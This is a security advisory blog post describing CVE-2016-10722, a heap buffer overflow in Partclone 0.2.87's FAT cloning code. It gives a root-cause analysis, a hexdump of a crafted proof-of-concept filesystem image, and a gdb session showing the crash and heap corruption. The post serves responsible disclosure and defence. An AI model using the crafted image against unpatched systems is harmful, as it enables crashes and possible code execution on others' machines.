Advisory: Partclone FAT Bitmap Heap Overflow (CVE-2016-10722)

During my semester abroad I experimented a bit with the great fuzzer american fuzzy lop (afl).
Due to my background with the OpenClone project I was curious about the security of the Partclone partition imaging software.
It didn't take long and afl found some crashes. I analyzed them, built proof-of-concepts and reported the issues to the Partclone project.

Here you can find the full version of the first advisory. The vulnerability is fixed since Partclone 0.2.88.
Stay tuned for a second advisory. I will delay its publication, since the vulnerability is not fully fixed yet.

Update: CVE-2016-10722 was assigned to this issue.

=======================================================================
 title    : Partclone FAT Bitmap Heap Overflow
 product  : Partclone
 version  : 0.2.87
 homepage : http://partclone.org/
 found    : 2016-01-03
 by       : David Gnedt
=======================================================================

Vendor description:
-------------------

Partclone is a partition imaging tool supporting the FAT filesystem.
Partclone is shipped by various Linux distributions and used by
specialized disk cloning systems like DRBL (http://drbl.org/),
Clonezilla (http://clonezilla.org/), Redo Backup
(http://redobackup.org/), ...


Vulnerability overview/description:
-----------------------------------

partclone.fat is prone to a heap-based buffer overflow vulnerability
due to insufficient validation of the FAT superblock. An attacker may
be able to execute arbitrary code in the context of the user running
the affected application.

The vulnerability is located in fatclone.c and bitmap.h.
get_used_block() allocates memory for the FAT bitmap based on the
sectors field of the FAT superblock. mark_reserved_sectors() then
writes a number of 1 bits into the FAT bitmap based on multiple other
fields of the FAT superblock but without bounds check, leading to a
buffer overflow.
Due to an integer overflow in get_cluster_count() and specially crafted
FAT entries processed by the check_fat*_entry() functions, an attacker
can also write arbitrary data beyond the bounds of the allocated
buffer.
readbitmap() is prone to similar heap buffer overflows.

Summarized enumeration of stack traces where heap overflows can happen
(only top 3 frames):
#0  pc_clear_bit          at bitmap.h:22
    pc_set_bit            at bitmap.h:15
#1  check_fat12_entry     at fatclone.c:337,341,345
    check_fat16_entry     at fatclone.c:309,313,317
    check_fat32_entry     at fatclone.c:282,286,290
    mark_reserved_sectors at fatclone.c:218,223,228
#2  get_used_block        at fatclone.c:467,485,487,489
    readbitmap            at fatclone.c:405,427,429,431

Integer overflow in get_cluster_count() fatclone.c:135
[...]
    data_sec = total_sector - ( fat_sb.reserved + (fat_sb.fats * sec_per_fat) + root_sec);
[...]


Proof of concept:
-----------------

The proof of concept filesystem was created using mkfs.fat from
dosfstools with a size of 68 blocks (34816 bytes) and cluster size of
1. For triggering the integer overflow, the fat_length is increased
from 0x01 to 0x12. The FAT entries are modified. To shorten the PoC,
the filesystem is truncated to 2048 bytes.

$ hexdump -C poc.img
00000000  eb 3c 90 6d 6b 66 73 2e  66 61 74 00 02 01 01 00  |.<.mkfs.fat.....|
00000010  02 00 02 44 00 f8 12 00  20 00 40 00 00 00 00 00  |...D.... .@.....|
00000020  00 00 00 00 80 00 29 1f  27 1a 0b 4e 4f 20 4e 41  |......).'..NO NA|
00000030  4d 45 20 20 20 20 46 41  54 31 32 20 20 20 00 00  |ME    FAT12   ..|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
00000200  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
*
00000270  ff ff ff ff ff ff ff ff  ff ff de ad 00 00 00 00  |................|
00000280  00 00 00 00 00 00 de ad  00 00 de ad 00 00 00 00  |................|
*
00000470  00 00 00 00 00 00 de ad  00 00 00 00 00 00 00 00  |................|
00000480  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000800

$ gdb --args partclone.fat -c -s poc.img -O /dev/null -L /dev/null -F
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
(gdb) b fatclone.c:467
Breakpoint 1 at 0x408d36: file fatclone.c, line 467.
(gdb) r
Partclone v0.2.87 http://partclone.org
Starting to clone device (poc.img) to image (/dev/null)
You are not logged as root. You may have "access denied" errors when working.
Reading Super Block

Breakpoint 1, get_used_block () at fatclone.c:467
(gdb) p total_sector
$1 = 68

The filesystem is 68 blocks long, so the bitmap will be 68 bits long.
The bitmap buffer size is 16 byte (rounded to 64 bit integers).
The buffer after initialization:

(gdb) x/8xg fat_bitmap
0x6112b0:	0xffffffffffffffff	0xffffffffffffffff
0x6112c0:	0x0000000000000000	0x0000000000000161
0x6112d0:	0x00007ffff77587b8	0x00007ffff77587b8
0x6112e0:	0x00006f6d2e656e6f	0x0000000000000141
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0000000000408b0e in pc_clear_bit (bitmap=0x6112b0, nr=1010304) at bitmap.h:22
(gdb) bt
#0  0x0000000000408b0e in pc_clear_bit (bitmap=0x6112b0, nr=1010304) at bitmap.h:22
#1  check_fat12_entry (fat_bitmap=0x6112b0, block=, bfree=, bused=, DamagedClusters=) at fatclone.c:341
#2  0x0000000000408dfe in get_used_block () at fatclone.c:489
#3  initial_image_hdr (device=0xf6a80 , image_hdr=0x7fffffff8cc0) at fatclone.c:363
#4  0x000000000040309d in main (argc=-29936, argv=0x3daa) at main.c:251

The buffer after crash:

(gdb) x/8xg fat_bitmap
0x6112b0:	0xffffffffffffffff	0xffffffffffffffff
0x6112c0:	0x4141414141414141	0x4141414141414141
0x6112d0:	0x4141414141414141	0x4141414141414141
0x6112e0:	0x0000000000000000	0x0000000000000000


Vulnerable/tested versions:
---------------------------

The vulnerability is verified to exist in 0.2.87 of Partclone, which is
the most recent version at the time of discovery.
Older versions are probably affected as well.

Post A Comment

Please note: Comment moderation is enabled and may delay your comment. There is no need to resubmit your comment.